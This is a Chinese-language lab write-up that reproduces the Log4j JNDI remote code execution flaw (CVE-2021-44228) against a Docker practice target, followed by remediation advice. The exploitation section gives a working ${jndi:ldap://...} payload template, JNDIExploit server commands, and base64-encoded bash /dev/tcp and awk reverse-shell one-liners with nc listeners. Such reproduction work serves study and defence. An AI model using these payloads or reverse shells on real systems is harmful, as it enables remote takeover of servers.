Log4j远程代码执行漏洞复现尝试

Log4j远程代码执行漏洞

实验准备

• 所选漏洞：Apache Log4j远程代码执行漏洞

• 漏洞编号：CVE-2021-44228

• 漏洞选择理由：Apache Log4j是Apache的一个开源项目，Apache log4j2是Log4j的升级版本，用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程，是构成apache服务的重要组件。
  2021年12月9日，阿里云安全团队向apache报告了Log4j-2.14.1中存在JNDI注入漏洞，提出了由log4j日志引起的远程代码执行问题。当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响 Apache Struts、Apache Solr、Apache Druid、Apache Filnk等众多组件，漏洞影响面极大，甚至可以说完全不使用这些组件构建的服务几乎没有，危害性极高，许多互联网大型厂商的程序员被迫凌晨起床进行应急响应。
  因为该漏洞存在范围极广、利用难度又很低，导致大量白帽在漏洞发布的第二天利用此漏洞大量刷取src，其数量之多以至于让部分src平台宣布暂时停止收类似该漏洞。
  log4j官方也随之紧急公布了新的稳定版本，连发三代，从 log4j 2.15.0 开始，默认情况下已禁用JNDI功能，但是仍有可能被绕过；从版本 2.16.0（以及 2.12.2、2.12.3 和 2.3.1）开始，此功能已被完全删除。直到12月28日晚上发布的 2.17.1版本基本堵死被曝光的漏洞，这次事件才算告一段落。

• 威胁类型

  远程代码执行

• 威胁等级

  NVD以CVSS v3.1标准计算得分10.0，顶满了的极危漏洞

• CVE-2021-44228受影响系统及应用版本
  Apache Log4j2 2.0-beta9 到 2.15.0（不包括安全版本 2.12.2、2.12.3 和 2.3.1）

  log4j的下载链接：/dist/logging/log4j/2.14.1 的索引

  • 本次实验选择的对象是Apache log4j 2.14.1 apache-log4j-2.14.1-bin.zip

• 主机：win 10
• 虚拟环境：kali 2021.4

实验步骤

搭建环境

1. 按照常理来说，如果我们想要在本地上搭建起服务环境，免不了要进行大量配置，包括下载IDEA作为工具、特意选取版本不是特别新的java环境、从头搭建RMIServer服务等。
   但是因为漏洞波及范围实在太广，有许多开发者有热情为这一漏洞专门开发网络靶场，搭建环境。笔者选取网上使用较多的一个靶场，github项目地址在此，省去从头搭建环境的过程。

2. 在kali虚拟机中依次运行下列命令：

   docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
   docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
   docker exec -it log4j_vuln_container /bin/bash
   /bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 
   

   

   接着在浏览器中输入localhost:8080/webstudy/hello-fengxuan验证是否成功运行环境。
   

   环境搭建完成！并且作者有提过漏洞post参数为c，接下来就是利用漏洞的折腾时间。

漏洞利用示例

1. 现在我们需要一台公网vps（开启ldap服务、接受反弹shell）,用vps起ldap服务，工具地址在此，下载解压之后启动工具。

   sudo java -jar JNDIExploit-1.2-SNAPSHOT.jar -i YOUR_IP_ADDRESS
   

   

2. 接着我们用burpsuite抓个包
   

   右键send到repeater，然后把GET请求改成POST请求并发送payload，把要执行的命令base64加密后放入payload中。比如，我们想要创建一个文件， touch /tmp/123 ，编码后内容为 dG91Y2ggL3RtcC8xMjM= ，则payload应该为 ${jndi:ldap://your_ip_here:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM=} ，改完后左上角send即可，如下图
   

3. 还记得我们之前启动的工具吗？这个工具不仅仅搭起了ldap服务，同时还是JNDIExploit的监听工具，如下图，监听工具也收到了恶意请求。
   

4. 刚刚我们发送的“恶意”命令是在/tmp文件夹下创建一个叫做123的文件，再回到docker镜像的路径下查看，可以看到123文件创建成功！
   

5. 反弹shell操作也是同理，将反弹shell命令base64编码后放入payload发送，只需要更改第2步中的参数c即可。 bash -i>& /dev/tcp/10.0.2.15/11111 0>&1 base64后得到 YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjAuMi4xNS8xMTExMSAwPiYx ，监控工具接受到命令(黄框内)。
   

   按道理来说，如果我们此时用命令 nc -lvvp 11111 开启监听窗口就可以接收到反弹的shell了，但奇怪的是，我们没有在监听窗口收到任何东西，甚至直接用 bash -i>& /dev/tcp/10.0.2.15/11111 0>&1 时也没有任何用，提示不存在目录。
   

   这个问题我自己找了很多的帖子，但是都没有解决问题，有帖子提到可能是kali用的是ubuntu,而ubuntu默认是没开bash的网络重定向选项，也就是–enable-net-redirections选项，只要把这个选项加上就好了。但是博主的解决方案笔者无法复现，只能不了了之了。

6. 所以还是用awk的一句话命令来反弹shell。

   # awk命令
   awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/11111"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
   # base64编码
   YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xMjcuMC4wLjEvMTExMTEiOyB3aGlsZSg0MikgeyBkb3sgcHJpbnRmICJzaGVsbD4iIHwmIHM7IHMgfCYgZ2V0bGluZSBjOyBpZihjKXsgd2hpbGUgKChjIHwmIGdldGxpbmUpID4gMCkgcHJpbnQgJDAgfCYgczsgY2xvc2UoYyk7IH0gfSB3aGlsZShjICE9ICJleGl0IikgY2xvc2Uocyk7IH19JyAvZGV2L251bGw=
   

   监听工具收到恶意请求
   

   nc监听窗口成功反弹shell
   

   搞定！复现部分到此结束。

漏洞修复建议

1. 升级log4j到最新版本，就像实验准备中说的，2.15.0.RC2版本修复了部分问题，2.17.1基本完成所有曝出的漏洞。

2. 在WAF中配置规则，阻断攻击性输入
   攻击字符串的特性是 ${jndi:schema://url}，通过正则表达式进行匹配，阻断带有上述特征的请求即可。但是因为应用系统的多样性等原因，直接WAF阻断存在干扰正常业务功能的风险。

3. 通过增加参数配置，禁用日志简单表达式功能(lookup功能)
   这个配置可以配置在系统环境变量、JVM启动参数、log4j配置文件中，任意一个地方配置均可生效。
   但是禁用lookup配置存在两个问题：

   1. 在2.10以下版本中不生效
   2. 将禁用全部简单表达式，打击面比较广

4. 修改或删除JndiLookup类，禁用 jndi lookup
   log4j 支持不同累心的表达式解析器，其中出问题的是 jndi 解析器，其在Log4j中对应的类为 JndiLookup，可以通过动态修改JndiLookup的方式，禁用 jndi 解析器，达到修复漏洞的目的。

5. 使用 log4j-to-slf4j 将日志记录工具自动切换为 logback。SLF4JProvider 优先级较高，其返回的 Logger 为 SLF4JLogger。如果此时应用系统中未引入logback，则不会有日志输出。引入logback后，将采用logback进行日志输出。

参考链接

NVD CVE-2021-44228 Detail
核弹级log4j命令注入漏洞复现（内附工具）
CVE-2021-44228漏洞复现
靶场环境提供
log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)
log4j 远程命令执行漏洞原理及修复方案
Windows/Linux 下nc 反弹shell
Reverse Shell 杂谈
反弹shell失败 原来是这个原因

这篇好文章是转载于：学新通技术网